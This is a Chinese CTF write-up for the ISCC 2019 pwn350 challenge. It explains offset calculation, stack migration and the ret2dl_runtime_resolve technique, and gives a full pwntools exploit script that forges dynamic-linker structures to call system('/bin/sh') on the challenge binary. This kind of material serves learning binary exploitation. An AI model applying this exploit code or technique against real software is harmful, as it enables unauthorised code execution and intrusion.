2019_iscc_pwn350


  • 1.这个道题有两个考察点 一个是ret2dl的了解(只要看过这个技术的,都知道哪里只需要拿过来使用就可以了)还有一个就是main函数末尾的堆栈平衡(自己在这里卡了好久)

  • offset
    相信解决的offset的大小,这道题有迎刃而解了(先补充一个知识点,对于新手)
    2019_iscc_pwn350_第1张图片在这里插入图片描述1.第一个图是pwn350 第二个图是普通的main函数结尾处
    2.IDA手动输入一下A,会发现我们输入的数据会改变寄存器的值 前14个输入,第14开始为ecx的值,这就破坏了,原先的堆栈平衡。 我们需要还原原先的堆栈数据。 (我们可以通过ebpecx的偏移算出ecx的值)
    2019_iscc_pwn350_第2张图片3.我们通过开始的时候,想栈内压入的寄存器的值,知道ebpecx的偏移(注意这里偏移,在程序中,只有偏移是唯一不变的)(有用gdb调试的 可以start 然后npush ecx的下一行,观察寄存器的值)(一样的效果)

4.说了这么多 进入正题 整体构造思路

1.先计算出偏移(普通的题都是算ebp+4
2.使用栈迁移将我们的栈迁移到一个具有权限的地方,进行构造(只要溢出的空间足够大 可以不进行栈迁移的)
3.利用ret2_dl_runtime_resolve函数进行伪造我们的函数体
4.获取shell (流程虽然少,但是知识点有点难理解)

  • EXP()
    通过看exp 去阅读理解
#!/usr/bin/env python
# coding=utf-8
from pwn import *

elf = ELF('./pwn01')
io = process('./pwn01')
rop = ROP('./pwn01')
#bss_addr = elf.bss()
bss_addr = 0x0804A040
stack_size = 0x800
print "[+]stack_addr" +hex(bss_addr)
ebp_addr = bss_addr + 32
#gdb.attach(io)

#rop.raw('a'*14 + p32(base_stage + 4)*4)  
payload = 'a'*14 + p32(ebp_addr+4) +'A'*14
payload = payload.ljust(32, 'a')
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw(payload)
#下面是栈迁移
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())

#伪造结构体
rop = ROP('./pwn01')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82)   #
rop.raw('bbbb')
rop.raw('bbbb')

rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
io.sendline(rop.chain())
io.interactive()

  • offset计算和布局
    构造思路:payload = padding + ecx +padding +ret(开始栈迁移)
bss_addr = 0x0804A040   #buf输入第地方
ebp_addr = bss_addr + 32   #ebp的地址
payload = 'a'*14 + p32(ebp_addr+4) +'A'*14  #ecx的地址  +4是因为后面要减4
填充数据到ecx ,ecx填充为(ebp+偏移),然后填充数据到达ret,利用返回地址,进行栈迁移
  • 栈迁移
rop.read(0, base_stage, 100)  #将返回地址劫持为read 放入必要参数  和payload 一个效果(这样写,减少代码量)
rop.migrate(base_stage)   #查看相关rop模块的知识点
#gdb.attach(io)
io.sendline(rop.chain())
  • ELF结构体必要地址(可以拿来直接用)
rop = ROP('./pwn01')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
  • ELF结构体(可以直接拿来用)
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['read']  #这里主要是一个函数就可以 (没限制)
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
  • 关键1
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')   #如有不懂,可以参考wiki里面的tage1-6   就明白下面三个raw的的布局方式了
rop.raw(base_stage+82)   #我们这里伪造是system函数 所以第一个填充的是参数的地址 (82是bin/sh所在的位置),按照实际情况而定
rop.raw('bbbb')
rop.raw('bbbb')
  • 关键2(直接用)
rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
#gdb.attach(io)
io.sendline(rop.chain())
io.interactive()
	

这道题关键考察,offset的计算和汇编代码审计,和改变寄存器的值。

  • 参考文献
    脚本参考:http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
    最好多读几遍:https://github.com/firmianay/CTF-All-In-One/blob/master/doc/6.1.3_pwn_xdctf2015_pwn200.md
    重定位表:http://bdxnote.blog.163.com/blog/static/8444235201542614525660/

你可能感兴趣的:(赛事复现)